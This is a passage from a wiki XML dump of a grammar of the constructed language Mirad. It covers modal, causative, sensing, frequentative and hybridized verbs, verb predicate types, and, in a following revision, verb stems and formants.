::* '''Von &lt;u&gt;yufu&lt;/u&gt;; At yupeye.'''....''&lt;u&gt;Fear&lt;/u&gt; not; I am coming.''
::* '''Et &lt;u&gt;yefe&lt;/u&gt; puer ja eymaj.'''....''You &lt;u&gt;must&lt;/u&gt; arrive before noon.''
::* '''Yet &lt;u&gt;yofe&lt;/u&gt; daler je ha dezun.'''....''You people &lt;u&gt;must not&lt;/u&gt; talk during the performance.''
::* '''Yat &lt;u&gt;yeyfe&lt;/u&gt; (= se &lt;u&gt;yeyfa&lt;/u&gt;) aker.'''....''We should (= are &lt;u&gt;bound/supposed/due&lt;/u&gt;) to win.''
::* '''At &lt;u&gt;ive&lt;/u&gt; teater et bakser.'''....''I&lt;u&gt;'m glad&lt;/u&gt; to see you get better.''
::* '''Su &lt;u&gt;iva&lt;/u&gt;.'''....''Be &lt;u&gt;happy&lt;/u&gt;.''
::* '''At &lt;u&gt;uvu (= su uva)&lt;/u&gt; teater et iper.'''....''I &lt;u&gt;would be sad&lt;/u&gt; to see you leave.''

: Examples of patient-oriented forms:

::* '''&lt;u&gt;Afwe&lt;/u&gt; (= se afwa) mavier him.'''....''&lt;u&gt;It is permissible&lt;/u&gt; to smoke here.''
::* '''&lt;u&gt;Ofwe&lt;/u&gt; (= se ofwa*) puxer fyumul him.'''....''&lt;u&gt;It is prohibited&lt;/u&gt; to throw litter here.''
::* '''&lt;u&gt;Fwe&lt;/u&gt; (= se fwa) van yet dolu.'''....''&lt;u&gt;It is desired&lt;/u&gt; that you stop talking.''
::* '''&lt;u&gt;Voy yafwe&lt;/u&gt; beser him gajob.'''....''&lt;u&gt;It is not possible&lt;/u&gt; to remain here any longer.''
::* '''&lt;u&gt;Yofwa&lt;/u&gt; av at ivteuder.'''....''&lt;u&gt;It was not possible&lt;/u&gt; for me to laugh.''
::* '''&lt;u&gt;Yefwe&lt;/u&gt; van et piu ig.'''....''&lt;u&gt;It is essential&lt;/u&gt; that you leave quickly.''
::* '''He &lt;u&gt;yeyfwe&lt;/u&gt; ober ata tyoyafi?'''....''Is &lt;u&gt;it obligatory&lt;/u&gt; to remove my shoes?''
::* '''Ga yux &lt;u&gt;efwo&lt;/u&gt;.'''....''More help &lt;u&gt;will be needed&lt;/u&gt;.''
::* '''Yuxren se &lt;u&gt;ufwa&lt;/u&gt; xetyen.'''....''Slavery is an &lt;u&gt;odious&lt;/u&gt; practice.''
::* '''&lt;u&gt;Uvwe&lt;/u&gt; van wit oka.'''....''&lt;u&gt;It's a shame&lt;/u&gt; that he lost.''

:: *&lt;small&gt;'''lofwa''' is used for ''unwanted'' for disambiguation purposes.&lt;/small&gt;

=== Deriving Causatives from Modal Stems ===

: Various causative verbs can be formed from modal stems, as shown in the chart below:

:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ Deriving Causatives from Modal Stems
|-
! Subject-oriented !! Patient-oriented
|-
| '''afxer'''....''allow'' (someone to do sthg.) || '''afwaxer'''....''permit'' (something to be done)
|-
| '''efxer'''....''require'' || '''efwaxer'''....''necessitate''
|-
| '''ofxer'''....''prohibit'' || '''ofwaxer'''....''prohibit''
|-
| '''yafxer'''....''enable'' || '''yafwaxer'''....''make possible''
|-
| '''yefxer'''....''oblige'' || '''yefwaxer'''....''make obligatory''
|-
| '''yofxer'''....''cripple'' || '''yofwaxer'''....''disable''
|-
| '''yifxer'''....''embolden'' || '''yifwaxer'''....''make safe''
|-
| '''yufxer'''....''intimidate'' || '''yufwaxer'''....''make frightening''
|-
| '''ifxer'''....''please'' || '''ifwaxer'''....''make pleasant''
|}

=== Creating Modal Verbs and Adjectives with Modal Stem Suffixes ===

: Verb stems can be suffixed with modal participles to produce related modal verbs and adjectives.  The first chart shows the modal participles themselves that can be suffixed to verb stems.  Subject-oriented forms refer only to people, while patient-oriented forms (ending in '''-wa''') refer only to things.

:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ Modal Suffixes
|-
! Subject-oriented !! Patient-oriented
|-
| '''-yafa'''....''able to X, -able'' || '''-yafwa'''....''possible to X''
|-
| '''-yofa'''....''unable to X'' || '''-yofwa'''....''impossible to X''
|-
| '''-ifa'''....''fond of Xing, Xophile'' || '''-ifwa'''....''enjoyable to X''
|-
| '''-ufa'''....''averse to Xing, Xophobic'' ||'''-ufwa'''....''unenjoyable to X''
|-
| '''-yika'''....''hard of Xing'' || '''-yikwa'''....''hard to X'' 
|-
| '''-yuka'''....''comfortable/easy Xing'' || '''-yukwa'''....''easy to X''
|-
| '''-yaka'''....''expecting to X'' || '''yakwa'''....''expected/likely to X''
|-
| '''-efa'''....''in need of Xing'' || '''-efwa'''....''necessary to X''
|-
| '''-yefa'''....''obliged to X'' || '''-yefwa'''....''obligatory/due to X''
|-
| '''-yufa'''....''afraid of Xing'' || '''-yufwa'''....''frightening to X''
|}

: This table shows some of these modal suffixes applied to actual verb and noun stems:

:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ Modals and Orientation
|-
! Orientation !! Positive Adjective !! Positive Verb !! Negative Adjective !! Negative Verb
|-
!row=1| '''Subject''' 
| '''teatyafa'''&lt;br&gt;''able to see, sighted'' || '''teatyafer'''&lt;br&gt;''be able to see'' || '''teatyofa'''&lt;br&gt;''blind'' || '''teatyofer'''&lt;br&gt;''be blind''
|-
!row=1| '''Patient''' 
| '''teatyafwa'''&lt;br&gt;''visible'' || '''teatyafwer'''&lt;br&gt;''be visible'' || '''teatyofwa'''&lt;br&gt;''invisible'' || '''teatyofwer'''&lt;br&gt;''be invisible''
|-
!row=1| '''Subject''' 
| '''teetyafa'''&lt;br&gt;''able to hear, hearing'' || '''teetyafer'''&lt;br&gt;''be able to hear'' || '''teetyofa'''&lt;br&gt;''deaf'' || '''teatyofer'''&lt;br&gt;''be deaf''
|-
!row=1| '''Patient''' 
| '''teetyafwa'''&lt;br&gt;''audible'' || '''teetyafwer'''&lt;br&gt;''be audible'' || '''teeyofwa'''&lt;br&gt;''inaudible'' || '''teeyofwer'''&lt;br&gt;''be inaudiable''
|-
!row=1| '''Subject''' 
| '''dalyafa'''&lt;br&gt;''able to speak'' || '''dalyafer'''&lt;br&gt;''be able to speak'' || '''dalyofa'''&lt;br&gt;''mute, dumb'' || '''dalyofer'''&lt;br&gt;''be mute, dumb''
|-
!row=1| '''Subject''' 
| '''doabifa'''&lt;br&gt;''patriotic'' || '''doabifer'''&lt;br&gt;''be patriotic'' || '''doabufa'''&lt;br&gt;''rebellious'' || '''doabufer'''&lt;br&gt;''rebel'' 
|-
!row=1| '''Subject''' 
| '''tosyafa'''&lt;br&gt;''sensitive'' || '''tosyafer'''&lt;br&gt;''be able to feel'' || '''tosyofa'''&lt;br&gt;''insensitive'' || '''tosyofer'''&lt;br&gt;''be numbed''
|-
!row=1| '''Patient''' 
| '''tayotyafwa'''&lt;br&gt;''palpable'' || '''tayotyafwer'''&lt;br&gt;''be palpable'' || '''tayotyofwa'''&lt;br&gt;''numb'' || '''tayotyofwer'''&lt;br&gt;''be impalbable, numb''
|-
!row=1| '''Patient''' 
| '''testyukwa'''&lt;br&gt;''easy to understand'' || '''testyukwaxer'''&lt;br&gt;''make easily understood'' || '''testyikwa'''&lt;br&gt;''hard to understand'' || '''testyikwaxer'''&lt;br&gt;''make hard to understand''
|-
!row=1| '''Subject'''
| '''tudyaka'''&lt;br&gt;''pregnant, expecting'' || '''tudyaker'''&lt;br&gt;''be expecting''|| ||
|-
!row=1| '''Patient'''
|'''mamilyakwa'''&lt;br&gt;''likely to rain'' || '''mamilyakwer'''&lt;br&gt;''to be expected to rain''|| '''mamilyokwa'''&lt;br&gt;''unlikely to rain''|| '''mamilyokwer'''&lt;br&gt;''to be unlikely to rain''
|-
!row=1| '''Subject''' 
| '''tilefa'''&lt;br&gt;''thirsty'' || '''tilefer'''&lt;br&gt;''be thirsty'' || ||
|-
!row=1| '''Subject''' 
| '''telefa'''&lt;br&gt;''hungry'' || '''telefer'''&lt;br&gt;''be hungry'' || ||
|-
!row=1| '''Patient''' 
| '''tejefwa'''&lt;br&gt;''vital'' || '''tejefwer'''&lt;br&gt;''be vital'' || ||
|-
!row=1| '''Subject''' 
| '''tujefa'''&lt;br&gt;''sleepy'' || '''tujefer'''&lt;br&gt;''be sleepy'' || ||
|-
!row=1| '''Subject''' 
| '''nasefa'''&lt;br&gt;''poor, needy'' || '''nasefer'''&lt;br&gt;''be needy'' || ||
|-
!row=1| '''Subject''' 
| '''dudyefa'''&lt;br&gt;''accountable, responsible'' || '''dudyefer'''&lt;br&gt;''be responsible'' || ||
|-
!row=1| '''Patient'''
| '''texiyefwa'''&lt;br&gt;''noteworthy'' || '''texiyefwer'''&lt;br&gt;''be noteworthy'' || ||
|}

== Sensing Verbs ==
: Verbs involving the senses, such as sight or hearing, follow a similar pattern, as the following chart shows:

{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ Sensing Verbs
|- valign=top
! TYPE !! '''teab'''....''eye''&lt;br&gt;'''teata'''....''visual'' !! '''teeb'''....''ear''&lt;br&gt;'''teeta'''....''acoustic'' !! '''teib'''....''nose''&lt;br&gt;'''teita'''....''olfactory'' !! '''teub'''....''mouth''&lt;br&gt;'''teuta'''....''gustatory'' !! '''tayob'''....''skin''&lt;br&gt;'''tayota'''....''tactile''
|- valign=top
!row=1| Receptive&lt;br&gt;Active 
| '''teater'''&lt;br&gt;''see'' || '''teeter'''&lt;br&gt;''hear'' || '''teiter'''&lt;br&gt;''smell'' || '''teuter'''&lt;br&gt;''taste'' || '''tayoter'''&lt;br&gt;''feel''
|-  valign=top
!row=1| Receptive&lt;br&gt;Passive 
| '''teatwer'''&lt;br&gt;''be seen'' || '''teetwer'''&lt;br&gt;''be heard'' || '''teitwer'''&lt;br&gt;''be smelled'' || '''teutwer'''&lt;br&gt;''be tasted'' || '''tayotwer'''&lt;br&gt;''be felt''
|-  valign=top
!row=1| Stative  
| '''teaser'''&lt;br&gt;''seem'' || '''teeser'''&lt;br&gt;''sound'' || '''teiser'''&lt;br&gt;''smell'' || '''teuser'''&lt;br&gt;''taste'' || '''tayoser'''&lt;br&gt;''feel'' 
|-  valign=top
!row=1| Dynamic&lt;br&gt;Active 
| '''teaxer'''&lt;br&gt;''look at'' || '''teexer'''&lt;br&gt;''listen'' || '''teixer'''&lt;br&gt;''sniff'' || '''teuxer'''&lt;br&gt;''taste'' || '''tayoxer'''&lt;br&gt;''touch'' 
|-  valign=top
!row=1| Dynamic&lt;br&gt;Passive 
| '''teaxwer'''&lt;br&gt;''be looked at'' || '''teexwer'''&lt;br&gt;''be listened to'' || '''teixwer'''&lt;br&gt;''be sniffed'' || '''teuxwer'''&lt;br&gt;''be tasted'' || '''tayoxwer'''&lt;br&gt;''be touched''
|-  valign=top
!row=1| Causative&lt;br&gt;Active
| '''teatuer'''&lt;br&gt;''show'' || '''teetuer'''&lt;br&gt;''make hear'' || '''teixuer'''&lt;br&gt;''make smell'' || '''teuxuer'''&lt;br&gt;''offer a taste'' || '''tayoxuer'''&lt;br&gt;''make feel''
|-  valign=top
!row=1| Causative&lt;br&gt;Passive
| '''teatuwer'''&lt;br&gt;''be shown'' || '''teetuwer'''&lt;br&gt;''be made to hear'' || '''teituwer'''&lt;br&gt;''be made to smell'' || '''teutuwer'''&lt;br&gt;''be given a taste'' || '''tayotuwer'''&lt;br&gt;''be made to feel''
|-  valign=top
!row=1| Inchoative&lt;br&gt;Active 
| '''teatier'''&lt;br&gt;''perceive,''&lt;br&gt;''catch sight of'' || '''teetier'''&lt;br&gt;''catch the&lt;br&gt;sound of'' || '''teitier'''&lt;br&gt;''get a whiff of'' || '''teutuer'''&lt;br&gt;''get a taste of'' || '''tayotier'''&lt;br&gt;''get the sensation of'' 
|-  valign=top
!row=1| Inchoative&lt;br&gt;Passive 
| '''teatiwer'''&lt;br&gt;''be perceived'' || '''teetiwer'''&lt;br&gt;''be heard'' || '''teitiwer'''&lt;br&gt;''be whiffed'' || '''teutiwer'''&lt;br&gt;''be tasted'' || '''tayotiwer'''&lt;br&gt;''be felt'' 
|-  valign=top
!row=1| Negative-Modal&lt;br&gt;Patient-oriented&lt;br&gt;Stative 
| '''teatyofer'''&lt;br&gt;''be blind'' || '''teetyofer'''&lt;br&gt;''be deaf'' || '''teityofer'''&lt;br&gt;''be unable to smell'' || '''teityofer'''&lt;br&gt;''be unable to taste'' || '''tayotyofer'''&lt;br&gt;''be insensitive'' 
|-  valign=top
!row=1| Negative-Modal&lt;br&gt;Patient-oriented&lt;br&gt;Stative 
| '''teatyofwer'''&lt;br&gt;''be invisible'' || '''teetyofwer'''&lt;br&gt;''be inaudible'' || '''teityofwer'''&lt;br&gt;''be undetectable&lt;br&gt;odorwise'' || '''teityofwer'''&lt;br&gt;''be insipid'' || '''tayotyofwer'''&lt;br&gt;''be undetectable&lt;br&gt;by touch'' 
|-  valign=top
!row=1| Negative-Modal&lt;br&gt;Patient-oriented&lt;br&gt;Causative 
| '''teatyofxer'''&lt;br&gt;''blind'' || '''teetyofxer'''&lt;br&gt;''deafen'' || '''teityofxer'''&lt;br&gt;''desensitize&lt;br&gt;to smell'' || '''teutyofxer'''&lt;br&gt;''desensitize to&lt;br&gt;taste'' || '''tayotyofxer'''&lt;br&gt;''desensitize'' 
|-  valign=top
!row=1| Negative-Modal&lt;br&gt;Patient-oriented&lt;br&gt;Causative 
| '''teatyofwaxer'''&lt;br&gt;''make invisible'' || '''teetyofwaxer'''&lt;br&gt;''make inaudible'' || '''teityofwaxer'''&lt;br&gt;''make odorless'' || '''teutyofwaxer'''&lt;br&gt;''render tasteless'' || '''tayotyofwaxer'''&lt;br&gt;''numb'' 
|}
: Examples of usage:

:* '''At &lt;u&gt;teatyofxwa&lt;/u&gt; bey ha mani.'''....''I &lt;u&gt;was blinded&lt;/u&gt; by the lights.''
:* '''Ha xeus sa &lt;u&gt;teetyofxyea&lt;/u&gt;.'''....''The noise was &lt;u&gt;deafening&lt;/u&gt;.''
:* '''Hia tit se gla &lt;u&gt;teatiyafa&lt;/u&gt;.'''....''This pupil is very &lt;u&gt;perceptive&lt;/u&gt;.''
:* '''Hua bekil se &lt;u&gt;teityofwa&lt;/u&gt;.'''....''That medicine is &lt;u&gt;odorless&lt;/u&gt; (impossible to smell).''
:* '''&lt;u&gt;Teatyofwaxu&lt;/u&gt; ha vyuni.'''....''&lt;u&gt;Make&lt;/u&gt; the spots &lt;u&gt;invisible&lt;/u&gt;.''
:* '''Ha magmemyaz yonpyexlun &lt;u&gt;tayotyafwa&lt;/u&gt; zya ha mir.'''....''The volcano eruption &lt;u&gt;could be felt&lt;/u&gt; throughout the world.''

== Frequentative Verbs ==
:Frequentative verbs or repetitive action verbs can be formed with the prefix '''je-'''.  This prefix gives the verb the meaning ''to keep on doing something''.

::{| class=&quot;wikitable&quot; style=&quot;background: lightyellow;{{Text default color}};font-size:smaller;&quot;
|+ Frequentative Verbs
|-
! Normal !! Frequentative
|-
| '''teaxer'''....''to look''||'''&lt;u&gt;je&lt;/u&gt;teaxer'''....''to watch''
|-
| '''bexer'''....''to hold''||'''&lt;u&gt;je&lt;/u&gt;bexer'''....''to conserve''
|-
| '''byexer'''....''to hit''||'''&lt;u&gt;je&lt;/u&gt;byexer'''....''to batter''
|-
| '''zoigper'''....''to pursue''||'''&lt;u&gt;je&lt;/u&gt;zoigper'''....''to stalk''
|-
| '''duler'''....''to urge'' || '''&lt;u&gt;je&lt;/u&gt;duler'''....''to nag''
|}

== Hybridized Verbs ==
: Verbs that involve motion directions that change back and forth can be formed by hybridizing the stem vowel or the vowel of the vectorial prefix.  Here are some examples:

::{| class=&quot;wikitable&quot; style=&quot;background: lightyellow;{{Text default color}};font-size:smaller;&quot;
|+ Hybridized Verbs
|-
! First Verb !! Second Verb !! Hybridized Verb
|-
| '''py&lt;u&gt;a&lt;/u&gt;ser'''....''jump up''|| '''py&lt;u&gt;o&lt;/u&gt;ser'''....''fall down'' || '''py&lt;u&gt;ao&lt;/u&gt;ser'''....''bounce, undulate''
|-
| '''buer'''....''give'' || '''bier'''....''take'' || '''buier'''....''exchange''
|-
| '''nuer'''....''furnish'' || '''nier'''....''consume'' || '''nuier'''....''trade''
|-
| '''tuer'''....''inform'' || '''tier'''....''learn'' || '''tuier'''....''communicate''
|-
| '''yaper'''....''ascend'' || '''yoper'''....''descend'' || '''yaoper'''....''go up and down''
|-
| '''zayper'''....''go forward'' || '''zoyper'''....''go back'' || '''zaoper'''....''vacillate''
|-
| '''vader'''....''affirm'' || '''voder'''....''deny'' || '''vaoder'''....''decide''
|-
| '''yijber'''....''open'' || '''yujber'''....''close'' || '''uijber'''....''valve''
|-
| '''baser'''....''stir'' || '''boser'''....''be still'' || '''baoser'''....''vibrate''
|}

== Expressing Habitual Actions and States ==
: Mirad uses the term '''gel jubyen''' (''as a habit'') to express a verb reflecting habitual action, eg:
::* '''At tijeya be yiwa jwobi gel jubyen.'''....''I used to wake up at 9 o'clock.'' (Lit. ''I was waking up at 9 o'clock as a habit.'').
: The term '''hyujod'''....''one another occasion'' (or '''be aj'''....''in the past'') is use to express ''once (upon a time)'', eg:
::* '''At sa tuxut hyujod (~ be aj) sa tuxut.''' ....''I once was a teacher.''
: The term '''vyabxelay''' (''routinely'') can also be used, eg:
::* '''Yat eke duz yuz bi ha doym vyabxelay.'''....''We play music around town routinely.''

== Expressing an Immediate Past ==
: To express an immediate past, such as in the sentence ''&quot;We have just gotten married.&quot;'', Mirad uses the adverb '''ejnay''' (''newly'') much like the word ''just'' in English:
::* '''Yat tadsaye &lt;u&gt;ejnay&lt;/u&gt;.'''....''We have &lt;u&gt;just&lt;/u&gt; gotten married.''
::* '''&lt;u&gt;Ejnay&lt;/u&gt; tadxwa.'''....''&lt;u&gt;Just&lt;/u&gt; married.''
::* '''Wit dokebiwa &lt;u&gt;ejnay&lt;/u&gt;.'''....''He was &lt;u&gt;just&lt;/u&gt; elected.''
::* '''At ujbaya yex &lt;u&gt;ejnay&lt;/u&gt; hoj iyt yebupa.'''....''I had &lt;u&gt;just&lt;/u&gt; finished work when she came in.''

== Verb Predicate Types ==
: Mirad verb predicates can be classified as follows:
:* '''''Voice'''''
::* Active (The subject is the doer of the action)
::* Passive (The subject is the receiver of the action)
::* Middle (The subject is both the agent and patient)
::* Reflexive (The subject is also the patient.)
::* Reciprocal (Plural subjects interact.)
:* '''''Stativity'''''
::* Stative (Does not involve action)
::* Dynamic (Action is involved)
:* '''''Valency'''''
::* Impersonal (There is no subject)
::* Transitive (There is an object)
::* Intransitive (There is no object)
::* Auto-transitive (The subject is a patient and there is no agent)
::* Anti-transitive (There is the patient but an agent is assumed)
::* Causative (Subject causes an action to be performed)
::* Copula (X is Y)
:* '''''Other'''''
::* Modal (''can, must, should, wants to''...)
::* Auxiliary (''help to, hope to, prepare to'' + verb)
::* Motion (''run, go, ride''...)
::* Communication (''say, answer, claim that...'')
::* Gesture (''put, shake, hit...'')
::* State/Stative (''be, become, live, be born...'')
::* Action/Dynamic (''do, act, make'')

{| class=&quot;wikitable&quot; style=&quot;background: lightYellow;;{{Text default color}};font-size:smaller;&quot;
|+ Verb Predicate Types
|-
! Voice !! Stativity!! Valency !! Example
|-
| active || stative || impersonal, -agent, -object || '''Mamilo zajub.'''....''It will rain tomorrow.''
|-
| active || stative || impersonal, -agent, +complement || '''Sa gla oma.'''....''It was very cold.''
|-
| active || stative || impersonal, +subject || '''Ese het be ha mes.'''....''There is someone at the door.''
|-
| active || stative || copula, subject + noun/adjective complement || '''Et se ata twud.'''....''You are my son.''&lt;br&gt;'''At aseye ebbyextipa.'''....''I am becoming angry.''
|-
| middle || stative || auto-transitive, +subject=patient -agent -object || '''Iyt toja.'''....''She died''
|-
| middle || stative || auto-transitive, +subject=patient +agent -object || '''Ha mes yija.'''....''The door opened.''
|-
| active || stative || intransitive, +subject -object|| '''Et bokso.'''....''You will get sick.''
|-
| active || stative || transitive, sense, +subject +object || '''At teate et.'''....''I see you.''
|-
| active || stative || transitive, modal, +subject +verb complement || '''At fe per.'''....''I want to go.''
|-
| active || stative || intransitive, subject-oriented modal, -subject +verb complement || '''Yofwe teater.'''....''It is impossible to see.'' 
|-
| passive || stative || patient-oriented modal, +subject || '''Mamil yakwe.'''....''Rain is expected.''
|-
| middle || dynamic || anti-transitive, +subject=patient +agent -object || '''Ha mes yijpa.'''....''The door came open.''
|-
| active || dynamic || intransitive, +subject -object|| '''Ha fab pyosa.'''....''The tree fell.''
|-
| active || dynamic || transitive, +subject  +-object || '''Yit pyoxa ha fab.'''....''They felled the tree.''
|-
| passive || dynamic || intransitive, +subject, -object || '''Ha fabi pyoxwa.'''....''The trees were felled.''
|-
| active || dynamic || transitive, +subject, +object|| '''Obu eta tef.'''....''Take your hat off.''
|-
| active || dynamic || ditransitive, +subject, +object +object || '''Von et buu iyt ha nas.'''....''Don't give her the money.''
|-
| active || dynamic || transitive, motion, +subject, +destination/origin || '''Yupu ha seem.'''....''Approach the bench.''&lt;br&gt;'''Pu tam!'''....''Go home!'' (''you'' implied)
|-
| active || dynamic || causative, +subject +object, +agent || '''At tayegobluxo Jon.'''....''I will get my hair cut by John.''
|-
| passive || dynamic || causative, +subject +object, +agent || '''At tayegobluxwo.'''....''I will get my hair cut.''
|-
| active || dynamic || auxiliary, ditransitive, +patient +verb object || '''Yuxu at xer his.'''....''Help me do this.''
|-
| passive || dynamic || auxiliary, ditransitive, +patient +verb object || '''At tuxwa eker duz.'''....''I was taught to play music.''
|-
| middle || dynamic || reflexive, +subject = patient, -object || '''Iyt uttojba.'''....''She killed herself.''
|-
| active || dynamic || reciprocal, +subjects = patients || '''Yit voy hyuitdale gaj.'''....''They don't talk to one another anymore.''
|}
&lt;noinclude&gt;{{Chapter navigation with TOC|Pronouns|Prepositions}}&lt;/noinclude&gt;</text>
      <sha1>m7mdy4fxod5rtbzknbkrhj2p94d6xbi</sha1>
    </revision>
    <revision>
      <id>4670511</id>
      <parentid>4670509</parentid>
      <timestamp>2026-09-16T21:51:31Z</timestamp>
      <contributor>
        <username>Tyoyafud</username>
        <id>6233</id>
      </contributor>
      <comment>/* Giving Verbs a Nuance of Truth with vya- */</comment>
      <origin>4670511</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="142881" sha1="1mr2erlkqoeati8vbo8e7xod3rrtm8g" xml:space="preserve">&lt;noinclude&gt;{{status|100%}}&lt;/noinclude&gt;
== The Verb Stem  ==
[[File:Various forms of using the verb &quot;to inform&quot; in LSC.png|thumb|]]
: Verbs in Mirad are listed in the dictionary under the present active infinitive (see [[Mirad Grammar/Verbs#Non-finite Forms]]), such as '''yexer'''....''to work''. The infinitive minus the '''er''' ending is the stem.  The stem is used as the base for all other verbal instantiations.  The infinitive as listed in the dictionary is usually active in voice, but occasionally a passive infinitive ending in '''-wer''' will be lexicalized because it is somehow special, so then, the stem is still the infinitive minus the '''-er''' ending.  All Mirad verbs are conjugated in the same way and there are no exceptions.

: This shows how to determine the '''''stem''''' of a verb listed in the dictionary:


::{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}}; font-size:smaller;&quot;
|+ Verb Stems
|-
! Simple Infinitive !! Stem&lt;big&gt;+&lt;/big&gt;Infinitive Ending
|-
| '''yex&lt;u&gt;er&lt;/u&gt;'''....''to work'' || '''yex&lt;big&gt;+&lt;/big&gt;er'''
|-
| '''pos&lt;u&gt;er&lt;/u&gt;'''....''to (come to a) stop''  || '''pos&lt;big&gt;+&lt;/big&gt;er'''
|-
| '''x&lt;u&gt;er&lt;/u&gt;'''....''to do'' || '''x&lt;big&gt;+&lt;/big&gt;er'''
|-
| '''xw&lt;u&gt;er&lt;/u&gt;'''....''to happen, be done'' (PASSIVE)|| '''xw&lt;big&gt;+&lt;/big&gt;er'''
|}
=== Verb Formants ===
: The active stems of verbs most often end in one of the following verb formants:

::{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}}; font-size:smaller;&quot;
|+ Verb Formats
|-
! Verb Formant !! Function !! Examples
|-
| '''-x-''' || action or causation || '''xer'''....''to do'', '''saxer'''....''to create'', '''agaxer'''....''to magnify'', '''yixer'''....''to use'', '''abaxer'''....''to pat''
|-
| '''-xl-'''|| forceful action || '''yixler'''....''to employ'', '''abaxler'''....''to knead''
|-
| '''-xr-'''|| more forceful action || '''yixrer'''....''to wear out'', '''abaxrer'''....''to rub''
|-
| '''-b-'''|| gesture || '''ber'''....''to put'', '''aber'''....''to apply'', '''yujber'''....''to close'', '''gober'''....''to subtract''
|-
| '''-bl-'''|| forceful gesture || '''yujbler'''....''to lock'', '''gobler'''....''to cut''
|-
| '''-br-'''|| more forceful gesture || '''yobrer'''....''to knock down'', '''gobrer'''....''to chop''
|-
| '''-s-''' || state or becoming || '''ser'''....''to be'', '''eser'''....''to exist'', '''aser'''....''to become'', '''beser'''....''to remain'', '''paser'''....''to move''
|-
| '''-sl-''' || more intensive || '''besler'''....''to linger'', '''pasler'''....''to shake''
|-
| '''-sr-''' || most intensive || '''besrer'''....''to loiter'', '''pasrer'''....''to convulse''
|-
| '''-p-''' || motion or going || '''per'''....''to go'', '''yaper'''....''to ascend'', '''paper'''....''to fly''
|-
| '''-pl-''' || more intensive || '''yapler'''....''to climb'', '''zyepler'''....''to intrude''
|-
| '''-pr-''' || most intensive || '''yaprer'''....''to scramble up'', '''yeprer'''....''to break in''
|-
| '''-i-'''|| action toward subject || '''bier'''....''to take'', '''nier'''....''to consume'', '''ifier'''.'..''to enjoy'', '''dier'''....''to ask''
|-
| '''-u-'''|| action toward object || '''buer'''....''to give'', '''nuer'''....''to supply'', '''ifuer'''....''to please'', '''duer'''....''to suggest''
|-
| '''-d-''' || communication || '''der'''....''to say'', '''vader'''....''to affirm'', '''yevder'''....''to judge''
|-
| '''-dr-''' || writing || '''drer'''....''to write'', '''teedrer'''....''to report'', '''taxdrer'''....''to record''
|-
| '''-dy-''' || reading || '''dyer'''....''to read''
|-
| '''-t-''' || knowing (a thing)|| '''ter'''....''to know'', '''tester'''....''to understand'', '''teater'''....''to see''
|-
| '''-tr-''' || knowing (a person)|| '''trer'''....''to recognize''
|-
| '''-ty-''' || knowing (how) || '''tyer'''....''to know how''
|-
| '''-f-''' || volition and modal verbs || '''fer'''....''to want'', '''ifer'''....''to love'', '''ufer'''....''to hate'', '''yafer'''....''to be able''
|-
| '''-fi-''' || toward the subject || '''ifier'''....''to enjoy''
|-
| '''-fu-''' || toward a patient || '''ifuer'''....''to amuse''
|-
| '''-fl-''' || more intensive || '''ifler'''....''to be fond of'', '''yafler'''....''to wield power''
|-
| '''-fli-''' || toward the subject || '''iflier'''....''to be charmed by''
|-
| '''-flu-''' || toward a patient || '''ifluer'''....''to enchant''
|-
| '''-fr-''' || most intenstive || '''ifrer'''....''to worship'', '''ufrer'''....''to loathe'', '''yufrer'''....''to cringe''
|-
| '''-fri-''' || toward the subject || '''ifrier'''....''to become infatuated with''
|-
| '''-fru-''' || toward a patient || '''ifruer'''....''to infatuate''
|-
| '''-v-''' || some modal verbs || '''yiver'''....''to have a right to'', '''yuver'''....''to have a duty to''
|-
| '''-vi-''' || toward the subject || '''ivier'''....''to derive joy from''
|-
| '''-vu-''' || toward a patient || '''ivuer'''....'' to cheer up''
|-
| '''-vl-''' || more intensive || '''yuvler'''....''to be bound to'', '''yavler'''....''to be proud''
|-
| '''-vli-''' || toward the subject || '''yavlier'''....''to take pride in''
|-
| '''-vlu-''' || toward a patient || '''yavluer'''....''to instill pride in''
|-
| '''-vr-''' || most intensive || '''uvrer'''....''to grieve''
|-
| '''-vri-''' || toward the subject || '''uvrier'''....''to grieve''
|-
| '''-vru-''' || toward a patient || '''uvruer'''....''to aggrieve''
|-
| '''-k-''' || various verbs || '''aker'''....''to win'', '''oker'''....''to lose'', '''eker'''....''to play'', '''yeker'''....''to try'', '''yaker'''....''to expect'', '''yoker'''....''to be surprised by''
|-
| '''-ki-''' || toward the subject || '''akier'''....''to gain from'', '''yekier'''....''to undertake''
|-
| '''-ku-''' || toward a patient || '''yekuer'''....''to challenge''
|-
| '''-kl-''' || more intensive || '''akler'''....''to conquer'', '''yekler'''....''to strive''
|-
| '''-kli-''' || toward the subject || '''eklier'''....''to take a risk''
|-
| '''-klu-''' || toward a patient || '''ekluer''....''to put at risk''
|-
| '''-kr-''' || most intensive || '''akrer'''....''to triumph''
|-
| '''-j-''' || opening/closing || '''ijer'''....''to begin'', '''ujer'''....''to end'', '''tajer'''....''to be born'', '''tojer'''....''to die'', '''yujer'''....''to close''
|-
| '''-jl-''' || more intensive || '''yujler'''....''to lock''
|-
| '''-jr-''' || most intensive || '''yujrer'''....''to block''
|-
| '''-l-''' || a few verbs || '''baler'''....''to press'', '''boler'''....''to support'', '''beler'''....''to carry'', '''daler'''....''to speak'', '''deler'''....''to state'', '''doler'''....''to be quiet'', '''galer'''....''to multiply'', '''goler'''....''to divide'', ....'''mageler'''....''to cook''
|-
| '''-r-''' || a few verbs || '''ingarer'''....''to cube'', '''engorer'''....''to get the square root of'''''barer'''....''to crush''
|-
| '''-ar-'''&lt;br&gt;'''-ir-'''&lt;br&gt;'''-ur-'''|| tool use || '''ukarer'''....''to shovel'', '''purer'''....''to drive'', '''myekirer'''....''to mill''
|-
| '''-z-'''|| perform an art || '''dazer'''....''to dance'', '''dezer'''....''to act'', '''deuzer'''...''to sing''
|}
: Verbs containing formants '''s''' or '''p''' are generally intransitive, while all the other formants create transitive verbs.  All of the verbs with transitive formants can be passivized by adding '''w''', eg.:
